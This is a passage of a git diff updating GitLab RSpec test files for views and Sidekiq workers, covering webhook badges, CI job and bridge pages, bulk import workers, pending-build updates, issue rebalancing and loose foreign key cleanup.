+ allow(existing_hook).to receive(:permanently_disabled?).and_return(true)
+ end
+
+ it 'renders "Failed to connect" badge' do
+ render
+
+ expect(rendered).to have_css('.gl-badge', text: s_('Webhooks|Failed to connect'))
+ end
+ end
+
+ context 'webhook is temporarily disabled' do
+ before do
+ allow(existing_hook).to receive(:temporarily_disabled?).and_return(true)
+ end
+
+ it 'renders "Fails to connect" badge' do
+ render
+
+ expect(rendered).to have_css('.gl-badge', text: s_('Webhooks|Fails to connect'))
+ end
+ end
+end
diff --git a/spec/views/projects/jobs/show.html.haml_spec.rb b/spec/views/projects/jobs/show.html.haml_spec.rb
index 83a00135629..8242d20a9e7 100644
--- a/spec/views/projects/jobs/show.html.haml_spec.rb
+++ b/spec/views/projects/jobs/show.html.haml_spec.rb
@@ -13,26 +13,47 @@ RSpec.describe 'projects/jobs/show' do
end
before do
- assign(:build, build.present)
assign(:project, project)
assign(:builds, builds)
allow(view).to receive(:can?).and_return(true)
end
- context 'when job is running' do
- let(:build) { create(:ci_build, :trace_live, :running, pipeline: pipeline) }
-
+ context 'when showing a CI build' do
before do
+ assign(:build, build.present)
render
end
- it 'does not show retry button' do
- expect(rendered).not_to have_link('Retry')
+ it 'shows job vue app' do
+ expect(rendered).to have_css('#js-job-page')
+ expect(rendered).not_to have_css('#js-bridge-page')
+ end
+
+ context 'when job is running' do
+ let(:build) { create(:ci_build, :trace_live, :running, pipeline: pipeline) }
+
+ it 'does not show retry button' do
+ expect(rendered).not_to have_link('Retry')
+ end
+
+ it 'does not show New issue button' do
+ expect(rendered).not_to have_link('New issue')
+ end
+ end
+ end
+
+ context 'when showing a bridge job' do
+ let(:bridge) { create(:ci_bridge, status: :pending) }
+
+ before do
+ assign(:build, bridge)
+ render
end
- it 'does not show New issue button' do
- expect(rendered).not_to have_link('New issue')
+ it 'shows bridge vue app' do
+ expect(rendered).to have_css('#js-bridge-page')
+ expect(rendered).not_to have_css('#js-job-page')
end
end
end
diff --git a/spec/views/shared/runners/_runner_details.html.haml_spec.rb b/spec/views/shared/runners/_runner_details.html.haml_spec.rb
index f9f93c8160b..cdf5ec563d0 100644
--- a/spec/views/shared/runners/_runner_details.html.haml_spec.rb
+++ b/spec/views/shared/runners/_runner_details.html.haml_spec.rb
@@ -113,14 +113,14 @@ RSpec.describe 'shared/runners/_runner_details.html.haml' do
describe 'Tags value' do
context 'when runner does not have tags' do
it { is_expected.to have_content('Tags') }
- it { is_expected.not_to have_selector('span.badge.badge-primary')}
+ it { is_expected.not_to have_selector('span.gl-badge.badge.badge-info')}
end
context 'when runner have tags' do
let(:runner) { create(:ci_runner, tag_list: %w(tag2 tag3 tag1)) }
it { is_expected.to have_content('Tags tag1 tag2 tag3') }
- it { is_expected.to have_selector('span.badge.badge-primary')}
+ it { is_expected.to have_selector('span.gl-badge.badge.badge-info')}
end
end
diff --git a/spec/views/shared/ssh_keys/_key_details.html.haml_spec.rb b/spec/views/shared/ssh_keys/_key_details.html.haml_spec.rb
index 400319a42b7..1bee9f7463f 100644
--- a/spec/views/shared/ssh_keys/_key_details.html.haml_spec.rb
+++ b/spec/views/shared/ssh_keys/_key_details.html.haml_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe 'shared/ssh_keys/_key_delete.html.haml' do
context 'when the text parameter is used' do
it 'has text' do
- render 'shared/ssh_keys/key_delete.html.haml', text: 'Button', html_class: '', button_data: ''
+ render partial: 'shared/ssh_keys/key_delete', formats: :html, locals: { text: 'Button', html_class: '', button_data: '' }
expect(rendered).to have_button('Button')
end
@@ -12,7 +12,7 @@ RSpec.describe 'shared/ssh_keys/_key_delete.html.haml' do
context 'when the text parameter is not used' do
it 'does not have text' do
- render 'shared/ssh_keys/key_delete.html.haml', html_class: '', button_data: ''
+ render partial: 'shared/ssh_keys/key_delete', formats: :html, locals: { html_class: '', button_data: '' }
expect(rendered).to have_button('Delete')
end
diff --git a/spec/workers/background_migration_worker_spec.rb b/spec/workers/background_migration_worker_spec.rb
index 7892eb89e80..4297e55ca6c 100644
--- a/spec/workers/background_migration_worker_spec.rb
+++ b/spec/workers/background_migration_worker_spec.rb
@@ -3,148 +3,5 @@
require 'spec_helper'
RSpec.describe BackgroundMigrationWorker, :clean_gitlab_redis_shared_state do
- let(:worker) { described_class.new }
-
- describe '.minimum_interval' do
- it 'returns 2 minutes' do
- expect(described_class.minimum_interval).to eq(2.minutes.to_i)
- end
- end
-
- describe '#perform' do
- before do
- allow(worker).to receive(:jid).and_return(1)
- allow(worker).to receive(:always_perform?).and_return(false)
- end
-
- it 'can run scheduled job and retried job concurrently' do
- expect(Gitlab::BackgroundMigration)
- .to receive(:perform)
- .with('Foo', [10, 20])
- .exactly(2).time
-
- worker.perform('Foo', [10, 20])
- worker.perform('Foo', [10, 20], described_class::MAX_LEASE_ATTEMPTS - 1)
- end
-
- context 'when lease can be obtained' do
- before do
- expect(Gitlab::BackgroundMigration)
- .to receive(:perform)
- .with('Foo', [10, 20])
- end
-
- it 'performs a background migration' do
- worker.perform('Foo', [10, 20])
- end
-
- context 'when lease_attempts is 1' do
- it 'performs a background migration' do
- worker.perform('Foo', [10, 20], 1)
- end
- end
- end
-
- context 'when lease not obtained (migration of same class was performed recently)' do
- before do
- expect(Gitlab::BackgroundMigration).not_to receive(:perform)
-
- worker.lease_for('Foo', false).try_obtain
- end
-
- it 'reschedules the migration and decrements the lease_attempts' do
- expect(described_class)
- .to receive(:perform_in)
- .with(a_kind_of(Numeric), 'Foo', [10, 20], 4)
-
- worker.perform('Foo', [10, 20], 5)
- end
-
- context 'when lease_attempts is 1' do
- before do
- worker.lease_for('Foo', true).try_obtain
- end
-
- it 'reschedules the migration and decrements the lease_attempts' do
- expect(described_class)
- .to receive(:perform_in)
- .with(a_kind_of(Numeric), 'Foo', [10, 20], 0)
-
- worker.perform('Foo', [10, 20], 1)
- end
- end
-
- context 'when lease_attempts is 0' do
- before do
- worker.lease_for('Foo', true).try_obtain
- end
-
- it 'gives up performing the migration' do
- expect(described_class).not_to receive(:perform_in)
- expect(Sidekiq.logger).to receive(:warn).with(
- class: 'Foo',
- message: 'Job could not get an exclusive lease after several tries. Giving up.',
- job_id: 1)
-
- worker.perform('Foo', [10, 20], 0)
- end
- end
- end
-
- context 'when database is not healthy' do
- before do
- allow(worker).to receive(:healthy_database?).and_return(false)
- end
-
- it 'reschedules a migration if the database is not healthy' do
- expect(described_class)
- .to receive(:perform_in)
- .with(a_kind_of(Numeric), 'Foo', [10, 20], 4)
-
- worker.perform('Foo', [10, 20])
- end
-
- context 'when lease_attempts is 0' do
- it 'gives up performing the migration' do
- expect(described_class).not_to receive(:perform_in)
- expect(Sidekiq.logger).to receive(:warn).with(
- class: 'Foo',
- message: 'Database was unhealthy after several tries. Giving up.',
- job_id: 1)
-
- worker.perform('Foo', [10, 20], 0)
- end
- end
- end
-
- it 'sets the class that will be executed as the caller_id' do
- expect(Gitlab::BackgroundMigration).to receive(:perform) do
- expect(Gitlab::ApplicationContext.current).to include('meta.caller_id' => 'Foo')
- end
-
- worker.perform('Foo', [10, 20])
- end
- end
-
- describe '#healthy_database?' do
- context 'when replication lag is too great' do
- it 'returns false' do
- allow(Postgresql::ReplicationSlot)
- .to receive(:lag_too_great?)
- .and_return(true)
-
- expect(worker.healthy_database?).to eq(false)
- end
-
- context 'when replication lag is small enough' do
- it 'returns true' do
- allow(Postgresql::ReplicationSlot)
- .to receive(:lag_too_great?)
- .and_return(false)
-
- expect(worker.healthy_database?).to eq(true)
- end
- end
- end
- end
+ it_behaves_like 'it runs background migration jobs', 'main', :background_migration_database_health_reschedules
end
diff --git a/spec/workers/build_hooks_worker_spec.rb b/spec/workers/build_hooks_worker_spec.rb
index 5f7e7e5fb00..a69e188b441 100644
--- a/spec/workers/build_hooks_worker_spec.rb
+++ b/spec/workers/build_hooks_worker_spec.rb
@@ -23,14 +23,6 @@ RSpec.describe BuildHooksWorker do
end
end
- describe '.perform_async' do
- it 'delays scheduling a job by calling perform_in with default delay' do
- expect(described_class).to receive(:perform_in).with(ApplicationWorker::DEFAULT_DELAY_INTERVAL.second, 123)
-
- described_class.perform_async(123)
- end
- end
-
it_behaves_like 'worker with data consistency',
described_class,
data_consistency: :delayed
diff --git a/spec/workers/bulk_imports/entity_worker_spec.rb b/spec/workers/bulk_imports/entity_worker_spec.rb
index deae15a3ca2..ce45299c7f7 100644
--- a/spec/workers/bulk_imports/entity_worker_spec.rb
+++ b/spec/workers/bulk_imports/entity_worker_spec.rb
@@ -14,96 +14,118 @@ RSpec.describe BulkImports::EntityWorker do
)
end
- it 'enqueues the first stage pipelines work' do
- expect_next_instance_of(Gitlab::Import::Logger) do |logger|
- expect(logger)
- .to receive(:info)
- .with(
- worker: described_class.name,
- entity_id: entity.id,
- current_stage: nil
- )
- end
+ let(:job_args) { entity.id }
- expect(BulkImports::PipelineWorker)
- .to receive(:perform_async)
- .with(
- pipeline_tracker.id,
- pipeline_tracker.stage,
- entity.id
- )
+ it 'updates pipeline trackers to enqueued state when selected' do
+ worker = BulkImports::EntityWorker.new
- subject.perform(entity.id)
- end
+ next_tracker = worker.send(:next_pipeline_trackers_for, entity.id).first
- it 'do not enqueue a new pipeline job if the current stage still running' do
- expect(BulkImports::PipelineWorker)
- .not_to receive(:perform_async)
+ next_tracker.reload
- subject.perform(entity.id, 0)
- end
-
- it 'enqueues the next stage pipelines when the current stage is finished' do
- next_stage_pipeline_tracker = create(
- :bulk_import_tracker,
- entity: entity,
- pipeline_name: 'Stage1::Pipeline',
- stage: 1
- )
+ expect(next_tracker.enqueued?).to be_truthy
- pipeline_tracker.fail_op!
+ expect(worker.send(:next_pipeline_trackers_for, entity.id))
+ .not_to include(next_tracker)
+ end
- expect_next_instance_of(Gitlab::Import::Logger) do |logger|
- expect(logger)
- .to receive(:info)
+ include_examples 'an idempotent worker' do
+ it 'enqueues the first stage pipelines work' do
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ # the worker runs twice but only executes once
+ expect(logger)
+ .to receive(:info).twice
+ .with(
+ worker: described_class.name,
+ entity_id: entity.id,
+ current_stage: nil
+ )
+ end
+
+ expect(BulkImports::PipelineWorker)
+ .to receive(:perform_async)
.with(
- worker: described_class.name,
- entity_id: entity.id,
- current_stage: 0
+ pipeline_tracker.id,
+ pipeline_tracker.stage,
+ entity.id
)
+
+ subject
end
- expect(BulkImports::PipelineWorker)
- .to receive(:perform_async)
- .with(
- next_stage_pipeline_tracker.id,
- next_stage_pipeline_tracker.stage,
- entity.id
- )
+ it 'logs and tracks the raised exceptions' do
+ exception = StandardError.new('Error!')
+
+ expect(BulkImports::PipelineWorker)
+ .to receive(:perform_async)
+ .and_raise(exception)
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info).twice
+ .with(
+ worker: described_class.name,
+ entity_id: entity.id,
+ current_stage: nil
+ )
+
+ expect(logger)
+ .to receive(:error)
+ .with(
+ worker: described_class.name,
+ entity_id: entity.id,
+ current_stage: nil,
+ error_message: 'Error!'
+ )
+ end
+
+ expect(Gitlab::ErrorTracking)
+ .to receive(:track_exception)
+ .with(exception, entity_id: entity.id)
+
+ subject
+ end
- subject.perform(entity.id, 0)
- end
+ context 'in first stage' do
+ let(:job_args) { [entity.id, 0] }
- it 'logs and tracks the raised exceptions' do
- exception = StandardError.new('Error!')
+ it 'do not enqueue a new pipeline job if the current stage still running' do
+ expect(BulkImports::PipelineWorker)
+ .not_to receive(:perform_async)
- expect(BulkImports::PipelineWorker)
- .to receive(:perform_async)
- .and_raise(exception)
+ subject
+ end
- expect_next_instance_of(Gitlab::Import::Logger) do |logger|
- expect(logger)
- .to receive(:info)
- .with(
- worker: described_class.name,
- entity_id: entity.id,
- current_stage: nil
+ it 'enqueues the next stage pipelines when the current stage is finished' do
+ next_stage_pipeline_tracker = create(
+ :bulk_import_tracker,
+ entity: entity,
+ pipeline_name: 'Stage1::Pipeline',
+ stage: 1
)
- expect(logger)
- .to receive(:error)
- .with(
- worker: described_class.name,
- entity_id: entity.id,
- current_stage: nil,
- error_message: 'Error!'
- )
+ pipeline_tracker.fail_op!
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info).twice
+ .with(
+ worker: described_class.name,
+ entity_id: entity.id,
+ current_stage: 0
+ )
+ end
+
+ expect(BulkImports::PipelineWorker)
+ .to receive(:perform_async)
+ .with(
+ next_stage_pipeline_tracker.id,
+ next_stage_pipeline_tracker.stage,
+ entity.id
+ )
+
+ subject
+ end
end
-
- expect(Gitlab::ErrorTracking)
- .to receive(:track_exception)
- .with(exception, entity_id: entity.id)
-
- subject.perform(entity.id)
end
end
diff --git a/spec/workers/bulk_imports/pipeline_worker_spec.rb b/spec/workers/bulk_imports/pipeline_worker_spec.rb
index c902d1f2034..2da9195a6ef 100644
--- a/spec/workers/bulk_imports/pipeline_worker_spec.rb
+++ b/spec/workers/bulk_imports/pipeline_worker_spec.rb
@@ -60,18 +60,8 @@ RSpec.describe BulkImports::PipelineWorker do
create(
:bulk_import_tracker,
entity: entity,
- pipeline_name: 'FakePipeline'
- )
- end
- end
-
- it_behaves_like 'successfully runs the pipeline' do
- let(:pipeline_tracker) do
- create(
- :bulk_import_tracker,
- :started,
- entity: entity,
- pipeline_name: 'FakePipeline'
+ pipeline_name: 'FakePipeline',
+ status_event: 'enqueue'
)
end
end
@@ -109,7 +99,8 @@ RSpec.describe BulkImports::PipelineWorker do
pipeline_tracker = create(
:bulk_import_tracker,
entity: entity,
- pipeline_name: 'InexistentPipeline'
+ pipeline_name: 'InexistentPipeline',
+ status_event: 'enqueue'
)
expect_next_instance_of(Gitlab::Import::Logger) do |logger|
@@ -150,7 +141,8 @@ RSpec.describe BulkImports::PipelineWorker do
pipeline_tracker = create(
:bulk_import_tracker,
entity: entity,
- pipeline_name: 'FakePipeline'
+ pipeline_name: 'FakePipeline',
+ status_event: 'enqueue'
)
exception = BulkImports::NetworkError.new(
@@ -163,7 +155,21 @@ RSpec.describe BulkImports::PipelineWorker do
.and_raise(exception)
end
- expect(subject).to receive(:jid).and_return('jid')
+ expect(subject).to receive(:jid).and_return('jid').twice
+
+ expect_any_instance_of(BulkImports::Tracker) do |tracker|
+ expect(tracker).to receive(:retry).and_call_original
+ end
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ worker: described_class.name,
+ pipeline_name: 'FakePipeline',
+ entity_id: entity.id
+ )
+ end
expect(described_class)
.to receive(:perform_in)
@@ -175,6 +181,10 @@ RSpec.describe BulkImports::PipelineWorker do
)
subject.perform(pipeline_tracker.id, pipeline_tracker.stage, entity.id)
+
+ pipeline_tracker.reload
+
+ expect(pipeline_tracker.enqueued?).to be_truthy
end
end
end
@@ -200,7 +210,8 @@ RSpec.describe BulkImports::PipelineWorker do
create(
:bulk_import_tracker,
entity: entity,
- pipeline_name: 'NdjsonPipeline'
+ pipeline_name: 'NdjsonPipeline',
+ status_event: 'enqueue'
)
end
diff --git a/spec/workers/ci/pending_builds/update_group_worker_spec.rb b/spec/workers/ci/pending_builds/update_group_worker_spec.rb
new file mode 100644
index 00000000000..8c6bf018158
--- /dev/null
+++ b/spec/workers/ci/pending_builds/update_group_worker_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::PendingBuilds::UpdateGroupWorker do
+ describe '#perform' do
+ let(:worker) { described_class.new }
+
+ context 'when a group is not provided' do
+ it 'does not call the service' do
+ expect(::Ci::UpdatePendingBuildService).not_to receive(:new)
+ end
+ end
+
+ context 'when everything is ok' do
+ let(:group) { create(:group) }
+ let(:update_pending_build_service) { instance_double(::Ci::UpdatePendingBuildService) }
+ let(:update_params) { { "namespace_id" => group.id } }
+
+ it 'calls the service' do
+ expect(::Ci::UpdatePendingBuildService).to receive(:new).with(group, update_params).and_return(update_pending_build_service)
+ expect(update_pending_build_service).to receive(:execute)
+
+ worker.perform(group.id, update_params)
+ end
+
+ include_examples 'an idempotent worker' do
+ let(:pending_build) { create(:ci_pending_build) }
+ let(:update_params) { { "namespace_id" => pending_build.namespace_id } }
+ let(:job_args) { [pending_build.namespace_id, update_params] }
+
+ it 'updates the pending builds' do
+ subject
+
+ expect(pending_build.reload.namespace_id).to eq(update_params["namespace_id"])
+ end
+ end
+ end
+ end
+end
diff --git a/spec/workers/ci/pending_builds/update_project_worker_spec.rb b/spec/workers/ci/pending_builds/update_project_worker_spec.rb
new file mode 100644
index 00000000000..4a67127564e
--- /dev/null
+++ b/spec/workers/ci/pending_builds/update_project_worker_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::PendingBuilds::UpdateProjectWorker do
+ describe '#perform' do
+ let(:worker) { described_class.new }
+
+ context 'when a project is not provided' do
+ it 'does not call the service' do
+ expect(::Ci::UpdatePendingBuildService).not_to receive(:new)
+ end
+ end
+
+ context 'when everything is ok' do
+ let(:project) { create(:project) }
+ let(:group) { create(:group) }
+ let(:update_pending_build_service) { instance_double(::Ci::UpdatePendingBuildService) }
+ let(:update_params) { { "namespace_id" => group.id } }
+
+ it 'calls the service' do
+ expect(::Ci::UpdatePendingBuildService).to receive(:new).with(project, update_params).and_return(update_pending_build_service)
+ expect(update_pending_build_service).to receive(:execute)
+
+ worker.perform(project.id, update_params)
+ end
+
+ include_examples 'an idempotent worker' do
+ let(:pending_build) { create(:ci_pending_build) }
+ let(:job_args) { [pending_build.project_id, update_params] }
+
+ it 'updates the pending builds' do
+ subject
+
+ expect(pending_build.reload.namespace_id).to eq(update_params["namespace_id"])
+ end
+ end
+ end
+ end
+end
diff --git a/spec/workers/concerns/application_worker_spec.rb b/spec/workers/concerns/application_worker_spec.rb
index fbf39b3c7cd..7608b5f49a1 100644
--- a/spec/workers/concerns/application_worker_spec.rb
+++ b/spec/workers/concerns/application_worker_spec.rb
@@ -248,39 +248,40 @@ RSpec.describe ApplicationWorker do
end
describe '.perform_async' do
- before do
- stub_const(worker.name, worker)
- end
-
- shared_examples_for 'worker utilizes load balancing capabilities' do |data_consistency|
- before do
- worker.data_consistency(data_consistency)
- end
-
- it 'call perform_in' do
- expect(worker).to receive(:perform_in).with(described_class::DEFAULT_DELAY_INTERVAL.seconds, 123)
+ using RSpec::Parameterized::TableSyntax
- worker.perform_async(123)
- end
+ where(:primary_only?, :skip_scheduling_ff, :data_consistency, :schedules_job?) do
+ true | false | :sticky | false
+ true | false | :delayed | false
+ true | false | :always | false
+ true | true | :sticky | false
+ true | true | :delayed | false
+ true | true | :always | false
+ false | false | :sticky | true
+ false | false | :delayed | true
+ false | false | :always | false
+ false | true | :sticky | false
+ false | true | :delayed | false
+ false | true | :always | false
end
- context 'when workers data consistency is :sticky' do
- it_behaves_like 'worker utilizes load balancing capabilities', :sticky
- end
+ before do
+ stub_const(worker.name, worker)
+ worker.data_consistency(data_consistency)
- context 'when workers data consistency is :delayed' do
- it_behaves_like 'worker utilizes load balancing capabilities', :delayed
+ allow(Gitlab::Database::LoadBalancing).to receive(:primary_only?).and_return(primary_only?)
+ stub_feature_flags(skip_scheduling_workers_for_replicas: skip_scheduling_ff)
end
- context 'when workers data consistency is :always' do
- before do
- worker.data_consistency(:always)
- end
-
- it 'does not call perform_in' do
- expect(worker).not_to receive(:perform_in)
+ with_them do
+ it 'schedules or enqueues the job correctly' do
+ if schedules_job?
+ expect(worker).to receive(:perform_in).with(described_class::DEFAULT_DELAY_INTERVAL.seconds, 123)
+ else
+ expect(worker).not_to receive(:perform_in)
+ end
- worker.perform_async
+ worker.perform_async(123)
end
end
end
diff --git a/spec/workers/create_commit_signature_worker_spec.rb b/spec/workers/create_commit_signature_worker_spec.rb
index d283ff5b732..0e31faf47af 100644
--- a/spec/workers/create_commit_signature_worker_spec.rb
+++ b/spec/workers/create_commit_signature_worker_spec.rb
@@ -143,7 +143,7 @@ RSpec.describe CreateCommitSignatureWorker do
let(:type) { :X509 }
it 'performs a single query for commit signatures' do
- expect(X509CommitSignature).to receive(:by_commit_sha).with(commit_shas).once.and_return([])
+ expect(CommitSignatures::X509CommitSignature).to receive(:by_commit_sha).with(commit_shas).once.and_return([])
subject
end
@@ -153,7 +153,7 @@ RSpec.describe CreateCommitSignatureWorker do
let(:type) { :PGP }
it 'performs a single query for commit signatures' do
- expect(GpgSignature).to receive(:by_commit_sha).with(commit_shas).once.and_return([])
+ expect(CommitSignatures::GpgSignature).to receive(:by_commit_sha).with(commit_shas).once.and_return([])
subject
end
diff --git a/spec/workers/every_sidekiq_worker_spec.rb b/spec/workers/every_sidekiq_worker_spec.rb
index d00243672f9..00b6d2635a5 100644
--- a/spec/workers/every_sidekiq_worker_spec.rb
+++ b/spec/workers/every_sidekiq_worker_spec.rb
@@ -398,7 +398,6 @@ RSpec.describe 'Every Sidekiq worker' do
'PropagateIntegrationInheritWorker' => 3,
'PropagateIntegrationProjectWorker' => 3,
'PropagateIntegrationWorker' => 3,
- 'PropagateServiceTemplateWorker' => 3,
'PurgeDependencyProxyCacheWorker' => 3,
'ReactiveCachingWorker' => 3,
'RebaseWorker' => 3,
diff --git a/spec/workers/issuable_export_csv_worker_spec.rb b/spec/workers/issuable_export_csv_worker_spec.rb
index bcc2420996d..a18d10ad3df 100644
--- a/spec/workers/issuable_export_csv_worker_spec.rb
+++ b/spec/workers/issuable_export_csv_worker_spec.rb
@@ -35,10 +35,15 @@ RSpec.describe IssuableExportCsvWorker do
end
context 'with params' do
- let(:params) { { 'test_key' => true } }
+ let(:params) { { 'test_key' => true, 'not' => { 'label_name' => ['SomeLabel'] } } }
- it 'converts controller string keys to symbol keys for IssuesFinder' do
- expect(IssuesFinder).to receive(:new).with(user, hash_including(test_key: true)).and_call_original
+ it 'allows symbol access for IssuesFinder' do
+ expect(IssuesFinder).to receive(:new).and_wrap_original do |method, user, params|
+ expect(params[:test_key]).to eq(true)
+ expect(params[:not][:label_name]).to eq(['SomeLabel'])
+
+ method.call(user, params)
+ end
subject
end
diff --git a/spec/workers/issue_placement_worker_spec.rb b/spec/workers/issue_placement_worker_spec.rb
index 50b9d58a5b0..9b5121d98e8 100644
--- a/spec/workers/issue_placement_worker_spec.rb
+++ b/spec/workers/issue_placement_worker_spec.rb
@@ -35,7 +35,7 @@ RSpec.describe IssuePlacementWorker do
it 'schedules rebalancing if needed' do
issue_a.update!(relative_position: RelativePositioning::MAX_POSITION)
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, nil, project.group.id)
+ expect(Issues::RebalancingWorker).to receive(:perform_async).with(nil, nil, project.group.id)
run_worker
end
@@ -52,7 +52,7 @@ RSpec.describe IssuePlacementWorker do
.with(have_attributes(count: described_class::QUERY_LIMIT))
.and_call_original
- expect(described_class).to receive(:perform_async).with(nil, project.id)
+ expect(Issues::PlacementWorker).to receive(:perform_async).with(nil, project.id)
run_worker
@@ -101,7 +101,7 @@ RSpec.describe IssuePlacementWorker do
it 'anticipates the failure to place the issues, and schedules rebalancing' do
allow(Issue).to receive(:move_nulls_to_end) { raise RelativePositioning::NoSpaceLeft }
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, nil, project.group.id)
+ expect(Issues::RebalancingWorker).to receive(:perform_async).with(nil, nil, project.group.id)
expect(Gitlab::ErrorTracking)
.to receive(:log_exception)
.with(RelativePositioning::NoSpaceLeft, worker_arguments)
diff --git a/spec/workers/issues/placement_worker_spec.rb b/spec/workers/issues/placement_worker_spec.rb
index 694cdd2ef37..33fa0b31b72 100644
--- a/spec/workers/issues/placement_worker_spec.rb
+++ b/spec/workers/issues/placement_worker_spec.rb
@@ -35,7 +35,7 @@ RSpec.describe Issues::PlacementWorker do
it 'schedules rebalancing if needed' do
issue_a.update!(relative_position: RelativePositioning::MAX_POSITION)
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, nil, project.group.id)
+ expect(Issues::RebalancingWorker).to receive(:perform_async).with(nil, nil, project.group.id)
run_worker
end
diff --git a/spec/workers/issues/rebalancing_worker_spec.rb b/spec/workers/issues/rebalancing_worker_spec.rb
index 438edd85f66..e1c0b348a4f 100644
--- a/spec/workers/issues/rebalancing_worker_spec.rb
+++ b/spec/workers/issues/rebalancing_worker_spec.rb
@@ -35,6 +35,20 @@ RSpec.describe Issues::RebalancingWorker do
described_class.new.perform # all arguments are nil
end
+
+ it 'does not schedule a new rebalance if it finished under 1h ago' do
+ container_type = arguments.second.present? ? ::Gitlab::Issues::Rebalancing::State::PROJECT : ::Gitlab::Issues::Rebalancing::State::NAMESPACE
+ container_id = arguments.second || arguments.third
+
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.set(::Gitlab::Issues::Rebalancing::State.send(:recently_finished_key, container_type, container_id), true)
+ end
+
+ expect(Issues::RelativePositionRebalancingService).not_to receive(:new)
+ expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+
+ described_class.new.perform(*arguments)
+ end
end
shared_examples 'safely handles non-existent ids' do
diff --git a/spec/workers/issues/reschedule_stuck_issue_rebalances_worker_spec.rb b/spec/workers/issues/reschedule_stuck_issue_rebalances_worker_spec.rb
index 02d1241d2ba..6723c425f34 100644
--- a/spec/workers/issues/reschedule_stuck_issue_rebalances_worker_spec.rb
+++ b/spec/workers/issues/reschedule_stuck_issue_rebalances_worker_spec.rb
@@ -10,15 +10,15 @@ RSpec.describe Issues::RescheduleStuckIssueRebalancesWorker, :clean_gitlab_redis
describe '#perform' do
it 'does not schedule a rebalance' do
- expect(IssueRebalancingWorker).not_to receive(:perform_async)
+ expect(Issues::RebalancingWorker).not_to receive(:perform_async)
worker.perform
end
it 'schedules a rebalance in case there are any rebalances started' do
expect(::Gitlab::Issues::Rebalancing::State).to receive(:fetch_rebalancing_groups_and_projects).and_return([[group.id], [project.id]])
- expect(IssueRebalancingWorker).to receive(:bulk_perform_async).with([[nil, nil, group.id]]).once
- expect(IssueRebalancingWorker).to receive(:bulk_perform_async).with([[nil, project.id, nil]]).once
+ expect(Issues::RebalancingWorker).to receive(:bulk_perform_async).with([[nil, nil, group.id]]).once
+ expect(Issues::RebalancingWorker).to receive(:bulk_perform_async).with([[nil, project.id, nil]]).once
worker.perform
end
diff --git a/spec/workers/loose_foreign_keys/cleanup_worker_spec.rb b/spec/workers/loose_foreign_keys/cleanup_worker_spec.rb
index 544be2a69a6..3c628d036ff 100644
--- a/spec/workers/loose_foreign_keys/cleanup_worker_spec.rb
+++ b/spec/workers/loose_foreign_keys/cleanup_worker_spec.rb
@@ -27,43 +27,40 @@ RSpec.describe LooseForeignKeys::CleanupWorker do
migration.track_record_deletions(:_test_loose_fk_parent_table_2)
end
- let!(:parent_model_1) do
- Class.new(ApplicationRecord) do
- self.table_name = '_test_loose_fk_parent_table_1'
-
- include LooseForeignKey
-
- loose_foreign_key :_test_loose_fk_child_table_1_1, :parent_id, on_delete: :async_delete
- loose_foreign_key :_test_loose_fk_child_table_1_2, :parent_id_with_different_column, on_delete: :async_nullify
- end
- end
-
- let!(:parent_model_2) do
- Class.new(ApplicationRecord) do
- self.table_name = '_test_loose_fk_parent_table_2'
-
- include LooseForeignKey
-
- loose_foreign_key :_test_loose_fk_child_table_2_1, :parent_id, on_delete: :async_delete
- end
- end
-
- let!(:child_model_1) do
- Class.new(ApplicationRecord) do
- self.table_name = '_test_loose_fk_child_table_1_1'
- end
- end
-
- let!(:child_model_2) do
- Class.new(ApplicationRecord) do
- self.table_name = '_test_loose_fk_child_table_1_2'
- end
- end
-
- let!(:child_model_3) do
- Class.new(ApplicationRecord) do
- self.table_name = '_test_loose_fk_child_table_2_1'
- end
+ let(:all_loose_foreign_key_definitions) do
+ {
+ '_test_loose_fk_parent_table_1' => [
+ ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(
+ '_test_loose_fk_child_table_1_1',
+ '_test_loose_fk_parent_table_1',
+ {
+ column: 'parent_id',
+ on_delete: :async_delete,
+ gitlab_schema: :gitlab_main
+ }
+ ),
+ ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(
+ '_test_loose_fk_child_table_1_2',
+ '_test_loose_fk_parent_table_1',
+ {
+ column: 'parent_id_with_different_column',
+ on_delete: :async_nullify,
+ gitlab_schema: :gitlab_main
+ }
+ )
+ ],
+ '_test_loose_fk_parent_table_2' => [
+ ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(
+ '_test_loose_fk_child_table_2_1',
+ '_test_loose_fk_parent_table_2',
+ {
+ column: 'parent_id',
+ on_delete: :async_delete,
+ gitlab_schema: :gitlab_main
+ }
+ )
+ ]
+ }
end
let(:loose_fk_parent_table_1) { table(:_test_loose_fk_parent_table_1) }
@@ -87,6 +84,8 @@ RSpec.describe LooseForeignKeys::CleanupWorker do
end
before do
+ allow(Gitlab::Database::LooseForeignKeys).to receive(:definitions_by_table).and_return(all_loose_foreign_key_definitions)
+
parent_record_1 = loose_fk_parent_table_1.create!
loose_fk_child_table_1_1.create!(parent_id: parent_record_1.id)
loose_fk_child_table_1_2.create!(parent_id_with_different_column: parent_record_1.id)
@@ -98,8 +97,8 @@ RSpec.describe LooseForeignKeys::CleanupWorker do
parent_record_3 = loose_fk_parent_table_2.create!
5.times { loose_fk_child_table_2_1.create!(parent_id: parent_record_3.id) }
- parent_model_1.delete_all
- parent_model_2.delete_all
+ loose_fk_parent_table_1.delete_all
+ loose_fk_parent_table_2.delete_all
end
it 'cleans up all rows' do
diff --git a/spec/workers/namespaces/process_sync_events_worker_spec.rb b/spec/workers/namespaces/process_sync_events_worker_spec.rb
new file mode 100644
index 00000000000..59be1fffdb4
--- /dev/null
